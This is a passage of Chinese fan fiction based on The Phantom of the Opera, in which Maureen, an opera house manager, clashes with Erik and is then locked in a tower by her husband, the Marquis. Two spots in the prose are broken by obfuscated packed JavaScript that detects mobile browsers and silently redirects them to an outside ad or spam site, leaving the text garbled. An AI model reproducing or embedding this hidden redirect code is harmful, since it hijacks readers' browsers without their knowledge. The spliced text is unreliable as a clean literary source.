“克罗宁家的小子可不会知道这些，”最终他放弃，只低低地笑了两声，从胸腔里溢出几分嘲弄：“即使你将他浑身从上到下搜个遍，大概也就只会抖落出一些关于圣马赛里哪个染坊的料子最便宜，还有被教会抛弃的教士们去了哪里这种事。在关于罗什舒亚尔和德·莱斯曼的交易筹码这件事上，你恐怕是找错了人。” “是吗？可我并不是这么认为的。” 莫琳反驳道：“如果连从小出生，长大在圣马赛的克罗宁都不能摸到罗什舒亚尔埋藏在那里的秘密，难道你可以吗？” “更何况，克罗宁信任我，衷心于我。我当然更愿意让他成为我的情报来源。哪怕他只能找到教士们的名字，他也不会吝啬耗费时间从他们嘴里撬出更多的消息。” “如果换作你，我能相信你吐露的名字是真实的吗？你甚至无法让我相信埃里克是个真实的人。” 她在激将他。 “我不是个真实的人，”埃里克将她的字眼重新咀嚼一遍，说：“如果我不是的话，你为什么还能站在这里和我说话呢？” 他拽了一把莫琳的袖子，在女人踉跄的恍惚中将她拉近到自己的面前。 他们之间仅仅隔着鼻息。温热的气体透过面具拂到不见天日的那半边脸上，冰凉的喘息同样不甘示弱地裹挟住对方的每寸毛孔。既然有呼吸，那就一定是人类。 “现在呢？现在你能感受到你眼前的究竟是幽灵还是人类吗？” 莫琳凝滞了一瞬，很快找回平衡和他拉开了距离。 “激将法对我没用。”再看他时，埃里克已经换了副表情：“这不在我的职责范围内。” “如果你想知道，那么就自己去找吧。” 看得出来，他生气了。 这种情绪出现在埃里克身上是极为罕见的。准确地说，从莫琳认识埃里克以来，她还从没有真正在他身上发现过任何有关于生气或者愤怒的表达。他总是以一种居高临下的态度对待人和事物，就好像没有任何东西值得他费心一样。 而莫琳这么做也不是毫无缘由的。她能够感受到埃里克对于克罗宁那股莫名其妙的敌意。 狮豹不会关注蚂蚁对它摆出的进攻姿态，就如同埃里克从来不在乎外界朝他对准的枪口，哪怕是莫里斯。可他竟然会因为克罗宁而产生情绪，这不正常。 这代表克罗宁对他存在威胁。 “你为什么会在意克罗宁？”莫琳问：“他还有什么别的身份值得你注意吗？” 埃里克当然不可能回答她，但他扶上躺椅把手的动作已经暴露了内心的想法。 “你的问题只会耗费更多的时间。” “等你找到线索的时候，早就成了罗什舒亚尔和莱斯曼的弃子。” 莫琳压根没有在听他说话。 她其实已经不需要他的回答了，或者说，她早就得到了答案。 她顺着埃里克说： “好吧，就当我什么也没说过。那么你今天是为了什么来？” “让我猜猜，是为了克莉丝汀吗？” 他今天的情绪很不对劲，也许是因为克莉丝汀回来了。 他从前可不会在乎什么有没有将他当作真实的人看待的这类问题，相反地，莫琳认为他还挺享受以幽灵的身份欺压人的。而上一次他那么在意他人看法的时候，好像还是在黑湖，他们第一次见面的时候。 那个时候他将她当作克莉丝汀的投影。 “克莉丝汀回来了？”埃里克皱着眉问。 “你不知道这回事？”莫琳挑了挑眉，“她是昨天来拜访我的，今天应该已经回到歌剧院了。怎么，你还没见过她吗？” 他可是住在歌剧院底下，掌握他们所有人一举一动的幽灵，怎么可能没有发现新来的女高音就是克莉丝汀？更何况她是他爱着的人？ 但这件事埃里克确实不知道。 自从莫琳搬到罗什舒亚尔的府邸之后，他在歌剧院待着的时间就变少了。没了她，歌剧院成了个无趣的地方。 “我看到了，”埃里克表情怪异地说：“但我不是为了她来的。” 这不对劲。 如果埃里克知道克莉丝汀回来了，那么他也应该知道拉乌尔对她做的一切，他怎么可能对此无动于衷，还有心情来这里和她闹些什么别扭的脾气呢？ “你不知道克莉丝汀经历了什么，对不对？”莫琳问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132695|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你不是爱她吗？为什么现在却连一点儿对于普通朋友的关心都没有分给她呢？” 即使埃里克照常戴着半遮面具，也不难看出他的表情变得有多么僵硬。 他无法反驳莫琳的话，因为她完全戳穿了他。他有时感觉自己在她面前像个赤裸裸的人，不管带着多少伪装，她总能一针见血地点出自己的真实面貌。 而这一次她点出的，是他自己为是的爱情。 他一直以为自己是爱克莉丝汀的。 她的眼睛像是一汪宽宏的海，让他这个满身罪孽的人也有了栖息之地。克莉丝汀是唯一尊敬他，且能顺从于他教导的人。埃里克从她身边汲取到了成为人的养分。 但如果爱的话，为什么他能够漠视她所遭受的痛苦，甚至还逃避自己冷漠的心呢？ 如果爱的话，早在拉乌尔在大庭广众之下求婚的时候，早在他替她规划未来向歌剧院辞职的时候他就该阻止了。他难道没有阻止的能力吗？制造一场意外，或者干脆让拉乌尔死在旁遮普索套下，这不都是他的拿手好戏吗？ 有那么多个可以动手的瞬间，可他却什么也没有做。 不知道从什么时候起，埃里克的目光从克莉丝汀身上挪走了，转而趋向着德·莱斯曼的小姐，后来又变成了罗什舒亚尔的夫人。他像是不受控似的贪恋那片刻在她身边的时间。 埃里克猜想，那是因为自己在莫琳面前总是真实的。真实到不仅是□□上摘掉面具的他，还包括内心深处的两个灵魂。 就连克莉丝汀也没有见过的他，莫琳见过。 但他不能将这些袒露给莫琳，否则无异于将自己的心脏递到她手上。 “她和拉乌尔之间发生了什么？”埃里克后知后觉地问。 “如果你真的关心，就不会等到这时候才来问我了。” 正值十二月。由于开着窗，外边的寒气不断呼啸着争先恐后地挤进温暖的房间。莫琳呛了一口冷风，忍不住断断续续地咳嗽起来。她的语调沙哑而破碎，就像她所讲出的话一样。 “多么难以置信，你以克莉丝汀为幌子做了那么多事，最终却放弃，甚至推翻对她的爱情了吗？“ “我想我不需要你来教我什么是爱。”埃里克冷着脸说。 莫琳对于他的冒犯早已经超过了界限值，他不该再这么继续容忍她。例如她和自己的距离愈来愈近，例如她对于自己情感的干涉。这都是危险的信号。 他决定，从今天开始，他不会再来见这位罗什舒亚尔夫人了。他要将所有的错误终止在这一天。 39.困境 没有人能否认，《塔拉勒》的上演取得了巨大的成功。 尤其是经过改变之后的加冕礼。 当克莉丝汀唱出——“何处堪比家中好”的咏叹调时，全场的呼吸仿若都凝滞了一瞬。他们无法想象，是怎样天才的作曲者才能够用这样婉转的方式浸润观众的内心。 而这只是个开始。 埃里克对于戏剧的掌控力是平庸之辈所无法想象的。这也是为什么莫琳坚持要把《塔拉勒》交到他手上的原因。 也许其他人也一样能通过几句改编借用演员之口达到向王室表示衷心的目的，但除了埃里克，没人有这样的能力将剧目与政治意义融合得这样淋漓尽致又恰到好处。 第四幕开场，身着长袍的克莉丝汀轻快地在法典上放下一顶王冠，周围演员们举起的火炬恰到好处地照亮了王室的包厢。莫琳想，就是这时候！ 热浪在王冠上翻涌着，直至翻涌到观众们的眼前，将他们的脸烫得通红，心里泛起从所未有的，维护王室的热情。 就算是塔拉勒[ 《塔拉勒》中的主角，推翻了前任国王的统治。]推翻了阿塔尔[ 因被奸臣操控而误入歧途的君主，遭到塔拉勒的推翻。]又怎样。 他依旧是位英雄式的贤明君主，让王朝得到了复兴。他们的王朝依旧存在，血统依旧纯正，而只有在这样正统王权的统治下，他们才有可以被称之为家园的地方。 不知道是谁最先喊出声来。 ——“国王万岁，王后万岁！”这样的呼声突然传遍了整个剧院。 王室包厢里，安托瓦妮特王后悄悄抹去了眼角的泪水。 她偷偷看了一眼装扮成随行侍卫的国王，见到他同样激动与感慨，以至于肩膀都忍不住地颤抖。 这时候她知道，这位歌剧院的罗什舒亚尔夫人将要得到重用了。 不是每一位国王都有这样的运气能够得到子民们的赞颂与敬爱，尤其是这些赞颂来自于一群自由民，这使这些话的价值达到了一个前所未有的高度。 此刻，无论这位国王的功绩如何，无论他是否真正配得上一个贤君的名号，他都会被这样前所未有的满足感所吞没。 舞台下边，哪怕是保王派中最忠实的艺术家们也这位神秘的改编者甘拜下风。 要知道，《塔拉勒》原先可是革命者们最为钟爱的剧目，谁能够想到它竟然会成为保王派的招魂幡呢？ 与此同时，证明《塔拉勒》成功的还有歌剧院后街的一片狼藉。 革命的狂热分子在听到消息后就蜂拥而来，然而前门有王室的军队戒严，除了手持剧票的观众们任何人不得靠近。他们只能转向防备相对薄弱的后街，?在那里高举旗帜和绸带。 庆幸的是，这些都在莫琳的预料当中。 她安排了足够的人手处理这些事。她的人不会伤害那些群情激愤的革命者们，她还指望着他们将她的《塔拉勒》推上更多的头版头条，但却也能够维持他们和歌剧院之间的安全距离。 于是，剧院前后俨然被激昂和愤慨的呼声分离为了两个世界。前者是国王王冠上闪烁的黄宝石，而后者则是革命旗帜上以鲜血染就的红。 “将近九千里弗尔的收入！”梅格激动地说：“这比被那个枪手搞砸一切之前还要高！” 今天是周五，是他们照例的会面日。 在梅格刚刚走进来时，莫琳还特别注意了她是否有被冒充的嫌疑。 ——循规蹈矩的步子，直到侍女为她领见后才开口说话。 就是梅格无疑了。 她原先还以为那个幽灵会对自己操刀剧目的反响格外上心呢。看来并不是这样。 “有什么可意外的，这可不单纯只是场演出了。” 莫琳翻阅着刚送到餐厅里，还带着油墨味儿的《晨报》。那上边的味道不太好闻，引得她咳嗽了两声：“和我们原先说好的不一样，为什么安托瓦妮特王后的报道篇幅占了一大半？” “如果看到这个月接下来的售票额，您一定能高兴起来，”梅格眉飞色舞地说：“王后还特意给我们留了信，说是之后不必专门为她留着王室包厢，可以对外开放！” “这倒的确是好消息！” 莫琳一下子有了精神。 最近她为了《塔拉勒》费了不少神，有时候就连看着梅格送来的日报也能昏睡过去，她很久没有过这样精力充盈的时刻了。 “将包厢布置稍微改一改，比王室要求略次一些。然后.....放消息出去，就说歌剧院会对安托瓦妮特王后使用过的包厢专有权进行拍卖。” 她迫不及待地着手后边的安排，想法一个接一个地冒出来。梅格拿着纸笔站在一旁，手中的鹅毛笔在纸上飞速游走，墨迹尚未干透，便又被下一行字覆盖。 “等等.....！” 抓到一个喘息的空隙，梅格终于有机会说上话，“刚才您说的，什么.....私有晚宴邀请是什么？” 莫琳意识到自己的语速太快，这才停了下来。 她对梅格说：“我会把这些都列下来，明天让侍女交到歌剧院的。” “那就太好了。” 梅格如释重负般呼出一口气，说：“我生怕漏掉您说的话，这会酿成大错的.....您知道，我不愿意让歌剧院少赚一个里弗尔。” 经理不在歌剧院的日子里，梅格做为她的副手，代替莫琳成为了主持局面的人。 也就是在这段日子里，她意识到歌剧院的日子过得多么如履薄冰，哪怕一个微小的差错也可能导致上百号人失去工作。她从一个天真稚嫩的少女变成了一个精打细算的管理者，并终于对莫琳的体会感同身受。 “还好是您接管了歌剧院，不然的话，我简直不敢奢望在枪杀之后还能开门的日子，更别提登上《晨报》头条了。” 梅格看向莫琳，她已经放下报纸，为自己戴上了一顶兜帽。 “经理，您接下来是打算出门吗？”梅格好奇地问。 早在会面室刚见到她时，她就有些意外于她格外特殊的打扮。 没有繁复的裙装，而是偏向于男士风格的长外套和骑装裤，这显然不是参加贵妇沙龙的打扮。 莫琳看了眼始终站在离她们不远处的杜布瓦，回答：“不过只是上街买点东西而已。” 她的确是打算出门的，但不是大张旗鼓的。相反，她还得想办法甩掉这些跟着她的累赘。因为她所要去的地方只能独自前往。 莫琳打算再去一次黑湖。 从上次不太愉悦的谈话后，埃里克再也没有来找过她。可她想，他们两之间还有未尽的谈话。 一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145880|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到门口，杜布瓦替她打开房间门，却被门外意外出现的人吓得后退了两步。 “...侯爵先生！” “把夫人带去塔楼看管，没有我的允许不得出来。” “什么意思？！”莫琳立刻问：“您要把我关起来？！” “瞧瞧你这身打扮，”他对她的猎装嗤之以鼻：“不用多说我也知道你又打算去歌剧院。” “从前的事我不打算再和你再计较什么了，但现在的歌剧院已经引起了王室的注意，你不再适合出席任何的演出场合。从现在开始，老实待在塔楼里，做你的罗什舒亚尔夫人！” “我是歌剧院经理，我怎么可能不出席！” 莫琳不可置信地看着罗什舒亚尔侯爵和他身后的一众侍卫。 他怎么敢这么做？他竟想把她囚禁起来吗？ “歌剧院已经不需要你了，”侯爵并没有理会她的控诉，反而让杜布瓦上前脱掉她的外衣。 “接下来会有更专业的人接手经理的位置，至于你的副手小姐.....也会由我的人取代她，她毕竟是个女人，不适合做这些抛头露面的工作。” 他用余光瞟过站在莫琳边上的梅格。 “你有什么权力这么做？！”莫琳怒不可遏。 从没人敢这么和她说话，哪怕是她的父亲坎贝尔。而眼前这个人妄想要染指的，竟然是自己视为心血的歌剧院。 罗什舒亚尔之所以敢这么为所欲为，无非就是仗着她和他在神父面前宣过誓。 让自己置于这么被动的地位是莫琳最害怕发生的事之一。鉴于此，在答应莫里斯联姻的要求前，她特地研究了这里的婚姻法。 好在和伦敦的“夫妻一体制”原则不同，巴黎并没有强行将女方的婚前财产并入夫妻共有，而是以一种相对委婉的形式主张部分收益。 “虽然歌剧院是你婚前所购入的私人财产，但是.....鉴于我们已经是夫妻了，”罗什舒亚尔侯爵拖长语调，语气里带有一丝得意：“根据婚姻法里财产共享制度，如果妻子无力承担财产的运营，将有丈夫代为运行。所以，我现在是歌剧院的实质管理者。” 他想把歌剧院变为他的财产！ “我想你咨询的那位律师姓莫雷尔，对吗？”他笑了笑，像是已经料到莫琳所想那样：“忘了提醒你，他的父亲为罗什舒亚尔家工作。” 果然，她就知道自己的咨询过程顺利得有些不同寻常。 为什么那位律师的办公室在那条大道上如此崭新，而她又如此顺利地得到了接见人的优待。那位小莫雷尔甚至还安慰她不必太过担心，他有过充足的官司经验。他当然有了，他本来就是为罗什舒亚尔家族做事的人！而莫琳，只是他繁杂工作中的一环。 她完全是落入了罗什舒亚尔的陷阱。 毫无置疑。她的信件全部在阅读前遭到了拦截，也许最后递到她手上的那封，王室负责人的来信是故意为之。他知道自己有本事将歌剧院做起来，他只需要等着在最鼎盛时接过这棵摇钱树就行了。 莫琳所付出的心血只是给罗什舒亚尔的财富更添几分光彩而已。 “对了，除此之外还有另一件事。” 罗什舒亚尔侯爵回过头，说：“我想你的‘规则日’已经过去了。今晚就是我们正式成为夫妻的时候。”